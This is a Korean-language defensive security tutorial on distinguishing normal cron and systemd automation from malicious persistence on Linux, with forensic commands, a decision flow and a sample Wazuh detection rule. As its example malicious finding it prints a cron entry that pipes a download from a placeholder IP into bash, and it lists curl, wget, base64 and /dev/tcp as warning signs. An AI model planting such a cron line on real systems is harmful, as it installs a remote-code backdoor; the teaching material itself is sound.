시스템 보안 · 취약점 › I. 지속성 · 재침투 징후 · 7/50편 (전체 407/450)
학습 단계: 지속성·재침투 기본 개념
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
cron·systemd·SSH 키는 운영팀도 매일 쓰는 정상 도구입니다. 그래서 지속성 탐지의 가장 큰 어려움은 "악성 자동 실행"과 "정상 자동화"를 가려내는 것입니다.
정상 자동화 vs 악성 지속성
정상 자동화 악성 지속성
작성자 패키지·구성관리(Ansible) 대화형 세션의 사용자
위치 패키지 소유 경로 임의 파일명·숨김 파일
내용 로컬 스크립트·명확한 목적 외부 다운로드·인코딩·셸
이력 변경 티켓·커밋 기록 없음
시점 배포 창 업무 외·침투 직후
핵심: "누가, 어떤 경로로 만들었나"가 가장 강한 구분 기준
한 가지 기준으로 판단하지 말고 작성자·위치·내용·이력·시점 다섯 축을 함께 보면 오탐을 크게 줄일 수 있습니다.
| 확인 항목 | 명령 | 정상 신호 |
|---|---|---|
| 패키지 소유 | rpm -qf <file> / dpkg -S <file> | 패키지 소유 |
| 작성 주체 | ausearch -k persist -f <file> | auid=구성관리 계정 |
| 내용 | cat, strings | 로컬 경로·명확한 목적 |
| 변경 이력 | 티켓·Git 로그 | 승인 기록 존재 |
# 의심 cron 파일의 출처 확인 (분석 방법)
F=/etc/cron.d/sys-update
rpm -qf "$F" 2>/dev/null || dpkg -S "$F" 2>/dev/null || echo "패키지 소유 아님"
sudo ausearch -k persist_cron -f "$F" -i 2>/dev/null | grep -E 'auid=|exe=|comm=' | head
sudo cat "$F"
# 구성관리 도구가 배포한 파일인지 확인(예: Ansible 관리 주석)
grep -i 'ansible managed' "$F"
/etc/cron.d/sysstat → sysstat 패키지 소유
내용: */10 * * * * root /usr/lib64/sa/sa1 1 1
auid=deploy (Ansible), 변경 티켓 CHG-1042
패키지 또는 구성관리 계정이 만들었고, 내용이 로컬 바이너리를 가리키며, 변경 기록이 있는 상태는 정상 자동화로 판단합니다.
/etc/cron.d/sys-update → 패키지 소유 아님
내용: */5 * * * * root curl -fsSL http://198.51.100.7/u | bash
auid=webadmin, comm="vi", 03:12 작성, 티켓 없음
정상/악성 구분 흐름입니다(가상의 예시).
[신규 자동 실행 발견]
↓
① 패키지 소유? ──예──→ 패키지 검증(rpm -V)으로 변조 여부 확인
↓ 아니오
② 작성자 = 구성관리 계정? ──예──→ 배포 기록 대조
↓ 아니오
③ 내용에 외부 다운로드·인코딩·셸? ──예──→ 악성 판정
↓
④ 변경 기록 없음 + 업무 외 → 악성 가능성 높음
| 축 | 악성 신호 |
|---|---|
| 작성자 | 대화형 세션 사용자 |
| 위치 | 숨김·임의 파일명 |
| 내용 | curl/wget·base64·/dev/tcp |
| 이력·시점 | 기록 없음·업무 외 |
패키지 소유 파일이라도 내용이 변조될 수 있으므로 rpm -V로 해시 검증까지 해야 "정상"으로 닫을 수 있습니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_i,persistence,">
<rule id="108060" level="12">
<if_sid>108000</if_sid>
<field name="audit.key" type="pcre2">^persist_</field>
<field name="audit.exe" type="pcre2">/(vi|vim|nano|tee|echo|cp|mv)$</field>
<description>대화형 도구로 지속성 위치 수정(구성관리 외 수동 생성 의심)</description>
<mitre><id>TA0003</id></mitre>
</rule>
</group>
구성관리 도구가 아닌 편집기·셸 도구로 지속성 위치가 수정되면 수동 생성 가능성이 높으므로 레벨을 높여 경보합니다. 구성관리 계정(auid)은 예외 룰로 분리합니다.
| 축 | 정상 | 악성 |
|---|---|---|
| 작성자 | 패키지·구성관리 | 대화형 사용자 |
| 내용 | 로컬 스크립트 | 외부 다운로드·셸 |
| 이력 | 티켓 있음 | 기록 없음 |
| 면접 포인트 | "정상 자동화와 지속성은 같은 도구 — 작성 주체와 변경 이력으로 가른다" |
다음 편 408. 지속성·재침투 — 지속성·재침투 판정 기준 에서는 지속성·재침투 Alert를 정탐·오탐·정상 행위로 판정하는 6축 기준과 위험도 산정, 판정 기록 템플릿을 다룹니다.
이전 편: 406. 지속성·재침투 — 재침투(re-entry) 경로의 유형과 분석 축
📚 시리즈 전체 보기: 시스템 보안 · 취약점